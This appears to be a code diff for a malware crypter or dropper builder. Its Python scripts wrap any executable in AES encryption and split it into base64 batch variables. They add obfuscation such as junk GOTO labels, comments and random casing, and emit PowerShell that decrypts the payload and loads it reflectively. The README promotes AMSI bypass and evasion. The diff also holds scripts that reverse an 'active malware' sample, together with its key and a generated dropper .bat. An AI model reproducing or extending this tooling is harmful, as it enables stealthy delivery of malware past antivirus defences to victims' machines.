+
+    sleep_code = f'Start-Sleep -Seconds {random.randint(1, 3)};iex $env:{v_stage4}'
+    lines.append(make_set_cmd(v_stage1, sleep_code))
+    lines.extend(make_junk_block())
+
+    v_toplevel = rand_var(5, 8)
+    v_wrapper = rand_var(6, 10)
+    wrapper_code = f"${v_toplevel} = 'placeholder'; iex $env:{v_stage1}"
+    lines.append(make_set_cmd(v_wrapper, wrapper_code))
+    lines.extend(make_junk_block())
+
+    launch_label = rand_label()
+    lines.append(f':{launch_label}')
+
+    v_launch_flag = rand_var(6, 10)
+    lines.append(make_set_cmd(v_launch_flag, f'iex $env:{v_wrapper}'))
+    lines.extend(make_junk_block())
+
+    lines.append(f'start %tmp%\\{output_exe_name} --headless powershell -c %{v_launch_flag}%')
+
+    end_label = rand_label()
+    lines.append(make_goto_cmd(end_label))
+    for _ in range(random.randint(3, 8)):
+        lines.append(make_rem_line())
+    lines.append(f':{end_label}')
+
+    final_lines = []
+    junk_count = 0
+    for line in lines:
+        final_lines.append(line)
+        if junk_count < JUNK_BLOCKS and random.random() > 0.88:
+            final_lines.extend(make_junk_block())
+            junk_count += 1
+
+    bat_content = '\r\n'.join(final_lines)
+    with open(output_path, 'w', encoding='utf-8') as f:
+        f.write(bat_content)
+
+    print(f"\ndone: {output_path}")
+    print(f"tmp exe: {output_exe_name}")
+    print(f"lines: {len(final_lines)}")
+    print(f"chunks: {len(chunks)}")
+    print(f"size: {len(bat_content):,} bytes")
+    print(f"key: {key.hex()}")
+    return True
@@ -0,0 +1,42 @@
+import random
+try:
+    from .rand import rand_var, rand_case, rand_words, rand_label
+except ImportError:
+    from rand import rand_var, rand_case, rand_words, rand_label
+
+def make_junk_var():
+    return f'%{rand_var()}%'
+
+def make_set_cmd(var_name, value, obfuscate=True):
+    set_cmd = rand_case('set')
+    if obfuscate:
+        fmt = f'{set_cmd} "{var_name}={value}"'
+        prefix = make_junk_var() if random.random() > 0.5 else ''
+        return f'{prefix}{fmt}'
+    return f'{set_cmd} "{var_name}={value}"'
+
+def make_goto_cmd(label):
+    goto = rand_case('goto')
+    g = goto[0] + make_junk_var() + goto[1] + make_junk_var() + goto[2:]
+    return f'{g} :{label}'
+
+def make_rem_line():
+    rem = rand_case('rem')
+    style = random.choice(['rem', '::', 'rem_junk'])
+    if style == 'rem':
+        r = rem[0] + make_junk_var() + rem[1:]
+        return f'{r} {make_junk_var()} {rand_words()}'
+    elif style == '::':
+        return f'{make_junk_var()}:: {make_junk_var()} {rand_words()}'
+    else:
+        r = rand_case('rem')
+        return f'%{rand_var()}%{r} %{rand_var()}% {rand_words()}'
+
+def make_junk_block():
+    lines = []
+    next_label = rand_label()
+    lines.append(make_goto_cmd(next_label))
+    for _ in range(random.randint(1, 3)):
+        lines.append(make_rem_line())
+    lines.append(f':{next_label}')
+    return lines
@@ -0,0 +1,33 @@
+import random, string
+
+def rand_str(min_len=5, max_len=10, charset=None):
+    if charset is None:
+        charset = string.ascii_letters + string.digits
+    length = random.randint(min_len, max_len)
+    return ''.join(random.choice(charset) for _ in range(length))
+
+def rand_var(min_len=6, max_len=12):
+    first = random.choice(string.ascii_letters)
+    rest = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(min_len-1, max_len-1)))
+    return first + rest
+
+def rand_label(min_len=5, max_len=10):
+    chars = string.ascii_letters + string.digits + '[]{}()_'
+    first = random.choice(string.ascii_letters)
+    rest = ''.join(random.choice(chars) for _ in range(random.randint(min_len-1, max_len-1)))
+    return first + rest
+
+def rand_word():
+    vowels = 'aeiou'
+    consonants = 'bcdfghjklmnpqrstvwxyz'
+    length = random.randint(3, 12)
+    word = ''
+    for i in range(length):
+        word += random.choice(consonants) if i % 2 == 0 else random.choice(vowels)
+    return word
+
+def rand_words(min_count=3, max_count=10):
+    return ' '.join(rand_word() for _ in range(random.randint(min_count, max_count)))
+
+def rand_case(s):
+    return ''.join(c.upper() if random.random() > 0.5 else c.lower() for c in s)
@@ -0,0 +1,39 @@
+import sys, os
+
+JUNK_DENSITY = 2
+JUNK_BLOCKS = 25
+PAYLOAD_CHUNK_SIZE = 2800
+OUTPUT_NAME_LENGTH = 9
+AES_KEY_SIZE = 32
+
+exec(open('rand.py').read())
+exec(open('crypto.py').read())
+exec(open('obfuscation.py').read())
+exec(open('generator.py').read().replace('from . import', '#').replace('from .rand import', '#').replace('from .obfuscation import', '#').replace('from .crypto import', '#'))
+
+if len(sys.argv) < 2:
+    print(f"usage: python run.py <input.exe> [output.bat]")
+    sys.exit(1)
+
+input_path = sys.argv[1]
+output_path = sys.argv[2] if len(sys.argv) >= 3 else os.path.splitext(os.path.basename(input_path))[0] + '_dropper.bat'
+
+if not os.path.exists(input_path):
+    print(f"file not found: {input_path}")
+    sys.exit(1)
+
+with open(input_path, 'rb') as f:
+    exe_data = f.read()
+
+if not exe_data:
+    print("empty file")
+    sys.exit(1)
+
+print(f"in: {input_path}")
+print(f"out: {output_path}")
+
+if generate(exe_data, output_path):
+    print(f"\ndone: {output_path}")
+else:
+    print("failed")
+    sys.exit(1)
@@ -0,0 +1,105 @@
+#!/usr/bin/env python3
+
+import re
+import base64
+from pathlib import Path
+from Crypto.Cipher import AES
+from Crypto.Util.Padding import unpad
+
+correct_order = Path('order.txt').read_text().strip().split('\n')
+correct_order[0] = correct_order[0].split('=')[-1]
+
+print("=" * 80)
+print("decrypting...")
+print("=" * 80)
+
+print(f"\ngot {len(correct_order)} vars:")
+for idx, var_name in enumerate(correct_order, 1):
+    print(f"  {idx:2d}. {var_name}")
+
+content = Path('dontrunACTIVEmalware.bat.txt').read_text(encoding='utf-8', errors='ignore')
+lines = content.split('\n')
+
+variables = {}
+for line in lines:
+    matches = re.findall(r'[sS][eE][tT]\s+([a-zA-Z0-9_]+)=([A-Za-z0-9+/=]{1000,})', line, re.IGNORECASE)
+    for var_name, var_value in matches:
+        variables[var_name] = var_value
+
+print(f"\nfound {len(variables)} b64 vars")
+
+payload_segments = []
+for var_name in correct_order:
+    if var_name in variables:
+        payload_segments.append(variables[var_name])
+        print(f"  ok {var_name}: {len(variables[var_name])} chars")
+    else:
+        print(f"  missing {var_name}")
+
+complete_b64 = ''.join(payload_segments)
+print(f"\ntotal b64: {len(complete_b64)} chars")
+
+encrypted_data = base64.b64decode(complete_b64)
+print(f"decoded: {len(encrypted_data)} bytes")
+
+aes_key = bytes([150,182,100,248,129,91,226,48,131,19,150,255,147,141,114,162,91,237,159,83,174,199,218,120,251,42,139,22,30,130,227,189])
+
+iv = encrypted_data[:16]
+ciphertext = encrypted_data[16:]
+
+print(f"\niv: {iv.hex()}")
+print(f"ciphertext: {len(ciphertext)} bytes")
+
+cipher = AES.new(aes_key, AES.MODE_CBC, iv)
+complete_blocks = (len(ciphertext) // 16) * 16
+if complete_blocks < len(ciphertext):
+    print(f"truncating {len(ciphertext) - complete_blocks} bytes")
+    ciphertext = ciphertext[:complete_blocks]
+
+decrypted = cipher.decrypt(ciphertext)
+
+try:
+    decrypted_unpadded = unpad(decrypted, AES.block_size)
+    print(f"removed padding: {len(decrypted)} -> {len(decrypted_unpadded)} bytes")
+    decrypted = decrypted_unpadded
+except:
+    print(f"no padding found")
+
+print(f"\ndone")
+print(f"size: {len(decrypted)} bytes")
+print(f"first 16: {decrypted[:16].hex()}")
+print(f"first 2: {decrypted[:2]}")
+
+if decrypted[:2] == b'MZ':
+    print(f"\nit's a PE!")
+    
+    Path('payTheload.bin').write_bytes(decrypted)
+    print(f"saved to payTheload.bin")
+    
+    print(f"\ninfo:")
+    print(f"  sig: {decrypted[:2]}")
+    print(f"  size: {len(decrypted)} bytes ({len(decrypted)/1024:.1f} KB)")
+    
+    strings = []
+    current = b''
+    for byte in decrypted[:5000]:
+        if 32 <= byte < 127:
+            current += bytes([byte])
+        else:
+            if len(current) >= 5:
+                try:
+                    strings.append(current.decode('ascii'))
+                except:
+                    pass
+            current = b''
+    
+    if strings:
+        print(f"\nstrings:")
+        for s in strings[:20]:
+            print(f"  {s}")
+else:
+    print(f"\nnot a PE")
+    print(f"got: {decrypted[:2].hex()} (wanted: 4d5a)")
+    print(f"order still wrong maybe?")
+
+print("\n" + "=" * 80)
@@ -0,0 +1,64 @@
+#!/usr/bin/env python3
+
+import re
+from pathlib import Path
+
+content = Path('dontrunACTIVEmalware.bat.txt').read_text(encoding='utf-8', errors='ignore')
+lines = content.split('\n')
+
+variables = {}
+
+for i, line in enumerate(lines, 1):
+    for match in re.finditer(r'"([^"=]+)=([^"]*)"', line):
+        var_name = match.group(1).strip()
+        var_value = match.group(2).strip()
+        if var_name not in variables:
+            variables[var_name] = var_value
+    
+    for match in re.finditer(r'[sS][eE][tT]\s+([a-zA-Z0-9_\[\]\{\}\(\)]+)=([^\s&]+)', line, re.IGNORECASE):
+        var_name = match.group(1).strip()
+        var_value = match.group(2).strip()
+        if var_name not in variables and len(var_value) < 100:
+            variables[var_name] = var_value
+
+print(f"found {len(variables)} vars")
+
+bang_vars = {k: v for k, v in variables.items() if '!' in v}
+print(f"vars with !: {len(bang_vars)}")
+for k, v in bang_vars.items():
+    print(f"  {k} = {v}")
+
+line_42 = lines[41]
+print(f"\nline 42:")
+print(f"  {line_42[:200]}...")
+
+resolved = line_42
+for iteration in range(50):
+    old_resolved = resolved
+    matches = re.findall(r'%([^%]+)%', resolved)
+    for var_name in matches:
+        if var_name in variables:
+            resolved = resolved.replace(f'%{var_name}%', variables[var_name])
+    if old_resolved == resolved:
+        break
+
+print(f"\nresolved after {iteration+1} tries:")
+print(f"  {resolved[:500]}...")
+
+if '!' in resolved:
+    parts = [p.strip() for p in resolved.split('!') if p.strip()]
+    print(f"\ngot {len(parts)} parts")
+    
+    clean_parts = []
+    for part in parts:
+        cleaned = re.sub(r'%[^%]+%', '', part)
+        cleaned = cleaned.strip()
+        if cleaned:
+            clean_parts.append(cleaned)
+    
+    print(f"\ncleaned ({len(clean_parts)}):")
+    for idx, part in enumerate(clean_parts, 1):
+        print(f"  {idx:2d}. {part}")
+    
+    Path('order.txt').write_text('\n'.join(clean_parts))
+    print(f"\nsaved to order.txt")
@@ -0,0 +1,21 @@
+SET43Nn4obTrQ0J=j97KQu6
+JIMZlyBt
+lloztMu
+oAWM9gN3
+xAEr2y8D
+u9HraJGX
+xNF82uy
+amiieM
+ih0wojr
+SeLNlxJi
+nrp2Cd
+ndOVLLU5
+ilUetRQ
+Ravpss
+tTp84C
+rNQFeP
+kd7VYdp
+OD1pagW
+k7EmPoW
+TGOERjgr
+xWiRpFW
@@ -0,0 +1,121 @@
+Made with love and horniness by t.me/toxiiiis
+
+
+## usage
+
+### builder 1to1
+```bash
+cd "builder 1to1"
+python builder.py input.exe output.bat
+```
+exact replica of original originals structure, 21 segments, line 42 order obf, 7step ps chain, reflective load.
+
+### builder improved
+```bash
+cd "builder improved"
+python cli.py input.exe output.bat
+```
+more stuff, fewer segments (auto split), order fragment obfuscation, 47part ps command split, amsi bypass, conhost.exe copy, random case, execution delays.
+
+### differences
+- 1to1: always 21 segments, simpler, smaller output
+- improved: var segments, more obfuscation layers, amsi evasion, bigger output
+
+both use aes-256-cbc, reflective loading, no network ops
+
+---
+
+## log (A to Z)
+
+### 1: anal ysis
+1. Identified 50+ variables, 21 base64 payloads, AES encryption params
+2. obf patterns: random names, command splitting, GOTO flow
+
+### 2: ps chain flow
+1. 7step `$env:` var ref chain
+2. made a py to follow chain: `nZaRCF` > `aGVl55` > `OsJQhAK` > `tjvcnGK` > `bQtWsrx` > `MDmRRqW` > `tsEwVI` > `9UkijMM`
+3. extracted ps command (826 chars)
+4. AES decrypt with key and IV
+
+### 3: payload extract and order
+1. 21 ba64 encoded segments (109,272 chars total)
+2. **important**: segments must be joined in a order
+3. traced line 42 which has variable `43Nn4obTrQ0J` containing the order
+4. found 73 variables to extract correct order from line 42
+5. order: `j97KQu6`, `JIMZlyBt`, `lloztMu`, `oAWM9gN3`, `xAEr2y8D`, `u9HraJGX`, `xNF82uy`, `amiieM`, `ih0wojr`, `SeLNlxJi`, `nrp2Cd`, `ndOVLLU5`, `ilUetRQ`, `Ravpss`, `tTp84C`, `rNQFeP`, `kd7VYdp`, `OD1pagW`, `k7EmPoW`, `TGOERjgr`, `xWiRpFW`
+
+### 4: AES Decryption
+1. joined 21 segments in order > 109,272 b64 chars
+2. b64 decoded > 81,952b encrypted data
+3. IV from first 16 bytes
+4. AES decryption key: `96b664f8815be230831396ff938d72a25bed9f53aec7da78fb2a8b161e82e3bd`
+5. removed PKCS7 padding > 81,920 bytes
+6. yuppurs decrypted payload starts with "MZ" and runs correctly on vt
+
+---
+
+## steps
+
+### step 1:
+``` input: exe > PKCS7 > RNG IV > encrypt with AES > pend IV to ciphertxt > output ```
+
+### step 2:
+``` input: encrypted output > b64 > split into segments (21) > each segment in a var ```
+
+### step 3: 
+``` create var containing the list of vars, split var name itself across multipile vars, reconstruct using var. varvarvarvarvarvarvarvarvarvarvarvar ```
+
+### step 4:
+``` var chain > each var has part of ps cmd > last var has AES dec key ```
+
+### step 5:
+``` split every cmd across 4 to 10 vars > random 8c var names > 11 random labels with GOTO statements > junk comment lines > random CAseS > final output ```
+
+---
+
+## details
+
+### AES params
+```python
+Key (hex): 96b664f8815be230831396ff938d72a25bed9f53aec7da78fb2a8b161e82e3bd
+Key (bytes): [150,182,100,248,129,91,226,48,131,19,150,255,147,141,114,162,91,237,159,83,174,199,218,120,251,42,139,22,30,130,227,189]
+Mode: CBC
+Padding: PKCS7
+IV: first 16b of b64 decoded payload
+```
+
+### ps flow
+```powershell
+# 1. sleep 3 seconds
+Start-Sleep -Seconds 3
+
+# 2. create AES decryptor
+$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new()
+$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC
+$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
+$jPFh8Se4.Key = [byte[]]@(150,182,100,248,...)
+
+# 3. get payload from 21 environment vars in order
+$wEAR7v = [Convert]::FromBase64String(-join ($env:43Nn4obTrQ0J.Split('!')).ForEach({(Get-Item "env:$_").Value}))
+
+# 4. extract IV and decrypt
+$jPFh8Se4.IV = $wEAR7v[0..15]
+$F9q72zl = $jPFh8Se4.CreateDecryptor()
+$4lKXVT9F4 = $F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0, $wEAR7v.Length-16)
+
+# 5. load as .NET asm and invoke
+$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4)
+$gEBOJ.EntryPoint.Invoke($null, $null)
+```
+
+---
+
+## how to use the decryptor
+
+```bash
+# extract correct order and decrypt
+python extract_absolutely_all_vars.py
+python decrypt_with_correct_order.py
+
+# output: PAYLOAD.bin
+```
@@ -0,0 +1,163 @@
+@echo off
+Rem kipabomo zakapi bano nonalila nitoba mopitoti ninimobi
+REM kilanoza kadiki tapipizi tiramo torodino ninoropi labamizi
+goto :vL0gwM6lGY
+%qZiliArJ%::%B5d0hLn9% nolaboka tapari ninoropi
+REM rirano panapala didi lodoka zilotopa lamo
+%sqer9W5C%rem%i8xSkiZh% tiramo nodokibi robikoza nolaboka
+:vL0gwM6lGY
+
+set "QHM6xrrJ=t"
+sET "eI06A5jL=e"
+sEt "aOGFgVV7=s"
+SET PShXNFrD=t
+sEt M9daVqOz=p
+sEt xH7huVcT=a
+SeT pzgcPkJr=y
+seT DFbEusJd=load.exe
+:: zoti zatapa kozari loma rilatipo pokolo
+REM bomokima narili kipabomo bikoza dipiziro kanabo zado
+rem zilotopa kozari zoti riramito
+rem nilali dazodato panapala kobi zilotopa danona
+goto :n1m229
+:: labo mikazota ditona lita ranikizo zipinaba tapari zado
+:n1m229
+set E5SArf2x=cAZNq/O4lFR8nhhHHBxZHSyCPqYlij0USHa0d4iRnHO3mai2GF3An64VKXcuy9h/1MQDjttZI323NBL2GO3Xo/3a8FpFpk7h6SLa8Q589K90vC3REr4EMT5xjo/ASAIrp06xGuD6MfaX+kajyvZe+2aLcCaJmg7uK7b+whazLnttftppVWGKOVEuNQv+2WzuDpof/U0cuLfyf5e2cebJFzlV8Iv1TYropVDuVxyx4y/w5MLlf9EwCsMVnz72WMjOZcOeWw
+SET Mz54j3Wq=S9HFeS/uaW0WkoGnHVz17eVScM4ovRlHSciMK6GBdnb+LYKQp5fN0e+JmIgea2SS5pV+oxNY8/Fwrc+1+Mg3j1n8av0hcp3AiSaeYgq51F78MMMwXANTFCc1+Q9ofCk6IXxZpFiUveaa1WmReHzhLV6jebROsoWZYlInPjKKjX9XBUCmiyCZrIiE+IUgoUyvRMzENwYRIn0XSdhuHwkdwCgRURG+sGh9UyQZ85PuSe30ocKe4TUuaqMoxKB3r3fu0FH+Vl
+sEt OSZHBbxW=rJ/h5PrAYXjkjgH6fiaag2+oYNJVDpPBdWloi6I4gGIM+CglUSUfSFjssgbvBB2ZCFG98UPQpS1oBUuk6/oeKa9BsUqEfIvqCNlSf9fcJW4HJhXu6+zFc+0IOBSEYkFN614H5TtU5w3qPVdrOpVHTqDomB4rR+J2KQIY87zr3fTqoFkZr0IKtGJfElhA4xjSbiWFjD9IGgnwGSmdpPEgWrYNvvxzfLPpxiRQCfY2sp8QeMIrW9KtKauoVAoUGFI7jWZluA
+SET KivNLiYN=B53+8e0MlEgEueWgpw54uorpWhj/IpO2Bgyzljmy9zAxUzWsbyQ4h82Dvua9MVO+Ik5aU1SN97m7BMdDU7tqETR0+coCi4D6e/CBAbnPDYYMXWqeWPMyy9gD/8foKx/bZIdskD5dOIE42KnfdP0VajSo7qvpq4gLsUzRLzl2iqSdUtcVm/zVo+whB0DjbPSqEJTNJIXhVHUEY9P1/75VvTtXiTFC05opA+SI+xrlmR2fXHDj5CHCPTLRHwNtjy/95uW82E
+SET IViByJQa=CG7nSE8KQFGCd34koE+pnuB6oVstT9UcVcXYZPfhUGzO2RSE7gquljTWa+O/LjBGydXYZ0uAzBzOfXVtDMl/E6+VLCGqkPyOx43SXxUG3F9QClG+nVqLvtNejqOwrb3tSwBqL4htY9w73CMjSliWmtAAJNrypWA0RoUh3Ug4+CO0NzjhS8CL43ppLOD559lP1EWIjtFal1pJONEW8wbccMdrCt12OtdmhY0ZLx4Os+Hg7iog3zL0haTipHli68Pq1tyYgn
+rem ripanika kozari nonola ripomoti loma tika noto lazozi
+sEt Zj3iG1r4=pFj4pTRDF/g9DgSvULinj5+tYFe9SV/bhbZA2h9SiHMAqXVV8n8buxcV2VxpFoWUYg53tz9CVadKnv63V8CVr7fgDWOT6a2zps7odhTf028efOQTLMs2NJPfqxyTFqQX1ysDJ5N0zyGG3lmOgpduC5UK/neGGr+kWnmR+1pj4qy+TPdBJtAwIeD0otY/fse7MML7RG4u6Rucnq441DdhPJBmEwKYLJnj0P0g9YKABwlmrhdVDUz/SQQmmcpvhOW78/ikSw
+SET wAOI3Y8B=8pFKGtFt9PUzYd0NZFrzGY1HeDlwKKo0dLAnc/QZsSrk8MpuJ3b1elmTCrdi7TT0cA8GFngruPvOySBamlyIVqQwb9BJ2HM/oiHPHP9H6Cf3y7Xj/oHPEPV+aWiSzcRybOxMrOiadeZZnKkiJVTFsGHIzlLamifRB1LAXdjVhN+9+rhMyBe+uoKhZDsCGd0HtmzKYxP7DvY1NkItMqh7IrOp7bx3epzAZJ3DK4Os1rE/zitxzCBzeRs6L9QiRkKKobDFsO
+set JZA7v0jh=QiM34ZOpMf8YtTo3KvXnQ1YXF/xLQuYXDPzyix3fu7XNje13DOA/IXZ6KAFkwHn/LTB7YnLKkkstR6TBcRV9faBgzcuPA3lHxKtDOs6SVfSF4dFJsuMrWO3AMVdnbaJ/kaUV1kpBMkZhcowCcsVDsxmJ0GYQ0B7aKDOstbbmVTnq3r5EkCAhpcNSQRJwl8WC5LQYDjNrlOO3/YlZqAjWre231VhSvzEAWlWFh02y7/07yHJvV8MNMTFsY/l4X0JzGYjUy3
+SET DAdfHIee=UVjn4PWfXAYMQD4tPtQujlSEbSBC7w0H6NlFgO3MNv64eKNos8JGUMIUnDy6fS79StJzKCvMD817zCnQ6CQmpmoYbxxk3TCk/eVuKFsDrY1HkEdUw3Pxqewmjz2kU3+HsiptZgF5v9wg/VU53CzlUvUQeK++XWCohQBsqYWj3tdtozU2P0Cps+FMkOmqvcsgTRuQK0HVFPkI7f0lgSW3X54QbkyZcxKzmwJv5fSPTHwL5rmk/FKS9/FcffRC9rNDPMmMHy
+SET kjdUyGwR=Y3z3xBCa2CY+CsHCsE+sL4nshFh/TCxqTc1xz1e7lREHKCGz1JSD7J+DIDTSR5e1io1WfQWiSfycAjKT42D+ktRy976vdgCqlJSqpE6sTzsBIGmL+CTPc2K+K44VB3FPtOKIFt77vMg38Ml2xOqlLQprHsXVzZa2MHtXEe57Xr6f1ql2Lx51qLfP9yZgNaUutxseOZLrnZ+8Qji0K7Jmde7fGCynZTOnU1CAc0K0zvQNAPgy35xgcePEAZRJMa5C8NT9lE
+%MIBk9PBb%REM%CKvgikrs% zazolomi tika zazaba tapipizi miba takizo
+SET ODyICk9W=VagCbcF7K2JzPe/a+NrBztPGihmXeqGOd0tt4Tfb9QYm7KBEYWyWvqE2tffr63jsHiI35YsBwx5qmMlDbE3EsF9OE8MRCbUP1PyhgUTWbxns+Ro/WZM4pf2ysChfoBCeGzJHNzpJQZvHotbhfkfszlpjJH7ggp6ktdjDiVg4uv/sz1J5Oo8EGOGUIzjLvcvZa778P/uFOey/JTVIOBZwiGGeGHGQqs5NdKhPKDtXv5TwJnNcXvOnJI1oNUaOEamlUOMzfz
+set x0vsYYSk=InZBUaPIy0aRphQsOH5KISjt5Gm/T++LxnrfxkFnRwC+ecpK//IwL0tNgnGurgtFiGde3R/x5s6rHwwXFrS0Hv0SJ3+12AEM7QaNHilT7GdsDfOUuPzp8NG6+PMC0PfQZAcMXmcLirP4dVC48MTOEpA3iNpeTOMnU8HHTgYwLU66wfmxR9nQcTgQKJFGntXqaJsWJECHwidoMh/7DGBxN9Ay5PEnpyAt4vjWeifMOg2jna9Uf0JblHbS1Loa7/WKX2cJjS
+sEt WrkaZiHq=LTmBLQ+tfZ2yo7yIxvgUK90grvsomOgY005dyjt2xcjwL8EA9+ggY0mSTViOWR0ehj1kDbySp/C7GzfrAFut7CB3CExEGQYHm3VFB0imAMJqfLbYeUgtAUc11/F66kcfcxcZtFfhhVo9rT/ceWluhIecClspA04QIpHMWtVrkHr+zQLA0FtYeczlOg15rNK0oGq53cZoQR88NnBZMDCqe+ArS+Q8J1LHAtBniMTCflu6SSn4kmn3Psa9l/knIVnupDPHU9
+sEt RVR1sGlk=/J5p126WijFDNRe3mjQ2GsJbocheucitQZ1G4LkbmH5VcL/EIa5hbO/WO0KtMGCLheKr6m9QIgxMPdYEb4869ElO72XOvlbh0/QnUGd0ky6WcndNc2fsLXs0CQdddj9kIISltGZs00DFYPxGqt08RMyOL6tTzrKNg6ALhzZlkb3VgjWwTL9FIWTzn0vSQEOo06Wt+d+axdsAxS3gS2Wj7I4lozyeue+BO/mcB8SfI2WHS+IG9HFOVVxPj4ox5++ltdO2oU
+set raQoGp88=Iqk7pba/p22E6Iga4itGThJzpKVbOHWXnDH6ISw/XWV4B3CUtkq1kWmGeUx2v+RQvWZrMz7Qog8a//TUiDi6SVRg+8LRUYfsuU7H/Fi2vuB0OwCJ/lwUQbqz7+C1AyiV0E8nQU/0fgc7Qlf8vE75ZsQ8vUn8sJXhj4+sUs5a0LidN5Xoe8NBQeOpzUBxyeavGW5564L3wL5hdQw/wkIxrXUfZcL1XhY99yqI6051Xcp8UR5KNIzQJdeTZQkMOWwPByCR8j
+%HbAPknok%::%xQ7CorZ7% zido tika lodimoki
+SET js0ADr6a=YOZ8jaWuoffNbD5tyXpnRhWc2M0wI+5GTx40959IuLG4PNXpV5Z/n+oGJv+uAPnyjAtxNVcE3nGosWxV+DcKqxtkL9aq9yhhQkET0qDxFFMFrINr1jf7w0VOt8mqtye1QnTRkB9DR7rcUKg3wa3MNtIWwy5tzwVzXMRJSQKXvSbxe1RAMmqFe6oahRn7s3fxdDi1GFsTmDnl2K2n3xp6XfR4PVwiLIyfEqfnggpd8EsMZFO0Nn0Kg2EnOd9+tTMVZOWNsV
+set HCrxZADp=Wxn9yMz1cI/+nq1EUcVxqOubT4c8cZS321K/dvmlWyH7iMTE7qumCrSEqkyQHNZaw1F9DrcIqxtXQkcR2DDd02utTI/XuJxJdlPTUpacMw60XOMTRB+Yn+2p9mTPKgIlE+B+nBsFqCs8CeHznApL8H0WWNM4EWtlY6KQ1LVrHrkKqf9Ija0VUWI5MgWwuOrKFF3k0wwv9ohOTKD656iAVbWYCFB69pe8fgw4hhgIQXdm1dpje60QkZOpwFx8zgP8c8x0U6
+SET heP1CCKf=vz9C1rj1mjB70fotOFz0QTYFdAGA9QfgQtRRuSl77CCPS8eKiSUDFqjzRPvPaCu1hrJXUTQP+2PPRxRkc53csE3Z0xt5EKkuf3SKS28LeweQxQQQaNlg499BPUSy6TkEIAMccW+ztv14y61N06dAnUDw6JGBbQS8qffmUc79Jkv9ppAY68vxIHBflTv2yxD8P0NuVGuMNT+WhpOfbAlORsQIbawCZ/QvEetFDgTneSIs90VS9+kH7ryroE9eiS/Us59oAj
+sEt URrHtuVX=/2+ZSmKtdZOn8W6cSkPCpXdl7u5j6INOjCO/YBT+3gxqpkx7ZhEDomr6oTDZhqj+zxcr2ET34qncziC30hPBDq7aFreipXzfxAw2fhjh22nMYzva20P9+IKRwZAMu1rClfyVe2cUttoihWR5mCmG0qWpENVJ5weQLMb5EECzUTFgXFGPYbE9B2ZI6jwDyKVzK8isg2qz6stiOCjrDoGl3yv00EpZmX8eYk7Bxr43BAHGtbBbUE9bT7ZSXHwvz55I/98Iyn
+SET W27dRdor=CkifNrKJlQVjpBemBx04YuFrIa8bG00w/Yy4vo/r9nHeEjAg3xuzXpEufpfHdWLINyCQJxvlhkE9QQprfpKmku+FQLLf0lg8wCVN0h7BMR9RP0mUrLQns2qcXSDTACWGCZSrRLCBB3zdLYsRrkkJo/7vDvM5ALDoXto6C7EmlGFLktlARB9atB9bdJCfx52EiwkSKxAXnzj6z7PgbVdRx9kfhIFN4ICAzaqZ681i8jdXQK/bW6iZZKySzHmoYQ553zFGcr
+Rem panapala kiramimi ripo moli mikibaka zimo
+sEt bSjRBAJ7=1KiCOz7x/nvpSNHqkRdwRMaKxbmc14ErlD6zceabbnslgYgoVBhgphgONPx89MLLivk+jOsyrC9wVQfCITgKUlGjmaLuujeN0GyDYzOJrmL7XIg3omNo72VvyrAiygNoYsDDB9Jadd4hHtbinzluEfIWPm1pxdR7nBxtCMUjQoUp9DNKmDPXNpQdU81i+DXii7x9ldvy6+m1/UhxqMg9bhtYTKVL3KerMEODH9sVRbrMvBwl7qrldn40eGd0zJuslYB86k6r
+:: popiliki zalazipo noto kilanoza
+%p6Mh76s0%Rem%GUTMLOdY% kadola torola tala
+Rem ziromoti bikoza pili notiri larala
+:: bano rozoboba nonalila tatabipo
+goto :lbdFme0GXnf
+:lbdFme0GXnf
+SET "caifiwMo=E5SArf2x!" && %GP96DE1J%rem%H655fuxq% riradi moma zakapi pirido zoti nabi ropa
+sEt "SUFMnTHK=Mz54j3Wq!"
+SET "PNI4SNDk=OSZHBbxW!"
+sEt "PqT5lZYL=KivNLiYN!" && REM nida zoti titikoko zaritabo
+SET "giS1OT5O=IViByJQa!"
+sEt "G15bnTBj=Zj3iG1r4!" && %LYcJrNfR%Rem%jfmWQdip% lota nomaki nonalila dobili pibotoli popiliki
+sEt "qS0d1i6t=wAOI3Y8B!"
+SET "jRfLoUSV=JZA7v0jh!"
+SET "mPkyvtdf=DAdfHIee!" && Rem tidiropi riradi kokiro bipino rolazo nabi
+set "xUQC83sf=kjdUyGwR!" && %LfOo0MNL%REM%FQo9Qbsd% toba lori zatita zodi kozadozo kotiraro nabi
+set "lmzfrXCT=ODyICk9W!"
+SET "mJe1Ru0G=x0vsYYSk!" && %C6BmcOfm%::%Au0KxR5H% rimomo mota pirido zaraboli ropa kotota tiramo zatita
+set "BZEppChT=WrkaZiHq!" && %IMX7CQi7%rem%c83c21dY% zazaba kadiropi zimo kapapori
+set "BI3mfBup=RVR1sGlk!" && :: lota zatita roti nolaboka
+SET "mKOurKGm=raQoGp88!"
+SET "j3tJXi5X=js0ADr6a!"
+set "b316CVtm=HCrxZADp!"
+SET "ZD9ECOLo=heP1CCKf!"
+set "hfh6kV9f=URrHtuVX!" && %dxdMeOcc%::%ZOFc9UnU% zaritabo lanapota rabiti zazolomi
+set "haAZDQ4A=W27dRdor!" && rem pokolo labamizi ranikizo rabiti rini
+set "zpYewLhD=bSjRBAJ7" && REM kapapori zatita lodimoki bozo
+SET "yCRhJku8IRHM=%caifiwMo%%SUFMnTHK%%PNI4SNDk%%PqT5lZYL%%giS1OT5O%%G15bnTBj%%qS0d1i6t%%jRfLoUSV%%mPkyvtdf%%xUQC83sf%%lmzfrXCT%%mJe1Ru0G%%BZEppChT%%BI3mfBup%%mKOurKGm%%j3tJXi5X%%b316CVtm%%ZD9ECOLo%%hfh6kV9f%%haAZDQ4A%%zpYewLhD%"
+:: lanapota tapazi lamo pokolo tapari rilatipo tapipizi
+rem zido moli ripanika torodino pili bozo notiri
+:: labamizi kozari lopomobi dazodato liti zimo kilanoza zaritabo
+goto :Lzpp9wR5aCWq
+:Lzpp9wR5aCWq
+sEt "CrKmQwGz=$F9q72zl=$jPFh8Se4.CreateDecryptor();$4lKXVT9F4=$F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0,$wEAR7v.Length-16);$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4);$gEBOJ.EntryPoint.Invoke($null, $null)"
